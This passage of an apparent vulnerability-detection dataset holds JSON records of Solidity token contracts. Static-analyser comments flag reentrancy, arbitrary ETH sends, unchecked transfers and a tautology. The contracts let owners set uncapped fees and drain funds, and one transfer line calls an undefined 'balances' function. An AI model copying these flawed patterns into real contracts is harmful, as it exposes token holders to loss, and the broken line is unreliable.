}\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5b7edfb): Tactics._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5b7edfb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d487d50\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d839f11\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4463421): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4463421: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 888cd2b): Tactics._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 888cd2b: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 98e3263): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 98e3263: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount >= _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _buyCount >= _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 4463421\n\t\t\t\t// reentrancy-eth | ID: 98e3263\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 888cd2b\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4463421\n\t\t\t\t\t// reentrancy-eth | ID: 98e3263\n saveETHbalance(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 98e3263\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 98e3263\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 98e3263\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4463421\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 98e3263\n _balances[from] = balances(from).sub(amount);\n\n\t\t// reentrancy-eth | ID: 98e3263\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4463421\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) return;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4463421\n\t\t// reentrancy-events | ID: d839f11\n\t\t// reentrancy-benign | ID: d487d50\n\t\t// reentrancy-eth | ID: 98e3263\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9f60bb6): Tactics.saveETHbalance(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9f60bb6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function saveETHbalance(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4463421\n\t\t// reentrancy-events | ID: d839f11\n\t\t// reentrancy-eth | ID: 98e3263\n\t\t// arbitrary-send-eth | ID: 9f60bb6\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ac0e3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ac0e3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3455cc6): Tactics.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3455cc6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7694a18): Tactics.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7694a18: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f8a72e9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f8a72e9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 4ac0e3e\n\t\t\t// reentrancy-eth | ID: f8a72e9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(uniswapV2Router.WETH(), address(this));\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 4ac0e3e\n\t\t// unused-return | ID: 3455cc6\n\t\t// reentrancy-eth | ID: f8a72e9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4ac0e3e\n\t\t// unused-return | ID: 7694a18\n\t\t// reentrancy-eth | ID: f8a72e9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4ac0e3e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: f8a72e9\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 59d76f3): Tactics.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 59d76f3: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 59d76f3\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueEETH() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n saveETHbalance(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10114.sol",
"size_bytes": 22539,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract THEFBIMOTTO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 82e4da6): THEFBIMOTTO._taxWallet should be immutable \n\t// Recommendation for 82e4da6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public _taxWallet;\n\n uint256 private _buyTax = 0;\n\n uint256 private _sellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54a514d): THEFBIMOTTO._preventSwapBefore should be constant \n\t// Recommendation for 54a514d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Fidelity, Bravery, Integrity\";\n\n string private constant _symbol = unicode\"FBI\";\n\n uint256 public _maxTxAmount = 1380000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1380000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0aee1b7): THEFBIMOTTO._taxSwapThreshold should be constant \n\t// Recommendation for 0aee1b7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2800cfa): THEFBIMOTTO._maxTaxSwap should be constant \n\t// Recommendation for 2800cfa: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1380000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2967e66): THEFBIMOTTO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2967e66: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aebefc0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aebefc0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8443b5e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8443b5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: aebefc0\n\t\t// reentrancy-benign | ID: 8443b5e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: aebefc0\n\t\t// reentrancy-benign | ID: 8443b5e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 36501f0): THEFBIMOTTO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 36501f0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8443b5e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: aebefc0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 768419b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 768419b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9060875): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9060875: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount.mul(_buyTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount.mul(_buyTax).div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount.mul(_sellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 768419b\n\t\t\t\t// reentrancy-eth | ID: 9060875\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 768419b\n\t\t\t\t\t// reentrancy-eth | ID: 9060875\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9060875\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9060875\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9060875\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 768419b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9060875\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9060875\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 768419b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 768419b\n\t\t// reentrancy-events | ID: aebefc0\n\t\t// reentrancy-benign | ID: 8443b5e\n\t\t// reentrancy-eth | ID: 9060875\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e22fb99): THEFBIMOTTO.setFee(uint256,uint256) should emit an event for _buyTax = newBuyFee _sellTax = newSellFee \n\t// Recommendation for e22fb99: Emit an event for critical parameter changes.\n function setFee(uint newBuyFee, uint newSellFee) external onlyOwner {\n\t\t// events-maths | ID: e22fb99\n _buyTax = newBuyFee;\n\n\t\t// events-maths | ID: e22fb99\n _sellTax = newSellFee;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 62522dd): THEFBIMOTTO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 62522dd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 768419b\n\t\t// reentrancy-events | ID: aebefc0\n\t\t// reentrancy-eth | ID: 9060875\n\t\t// arbitrary-send-eth | ID: 62522dd\n _taxWallet.transfer(amount);\n }\n\n function withdrawETH() external onlyOwner returns (bool) {\n (bool success, ) = owner().call{value: address(this).balance}(\"\");\n\n return success;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 630dd05): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 630dd05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 00f4043): THEFBIMOTTO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 00f4043: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2f219a2): THEFBIMOTTO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2f219a2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bd23b68): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bd23b68: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 630dd05\n\t\t// reentrancy-eth | ID: bd23b68\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 630dd05\n\t\t// unused-return | ID: 2f219a2\n\t\t// reentrancy-eth | ID: bd23b68\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 630dd05\n\t\t// unused-return | ID: 00f4043\n\t\t// reentrancy-eth | ID: bd23b68\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 630dd05\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bd23b68\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10115.sol",
"size_bytes": 18420,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract trump is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 52b0226): trump._taxWallet should be immutable \n\t// Recommendation for 52b0226: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 740e514): trump._initialBuyTax should be constant \n\t// Recommendation for 740e514: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 96b7359): trump._initialSellTax should be constant \n\t// Recommendation for 96b7359: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 322939e): trump._reduceBuyTaxAt should be constant \n\t// Recommendation for 322939e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e305ffc): trump._reduceSellTaxAt should be constant \n\t// Recommendation for e305ffc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8350731): trump._preventSwapBefore should be constant \n\t// Recommendation for 8350731: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private 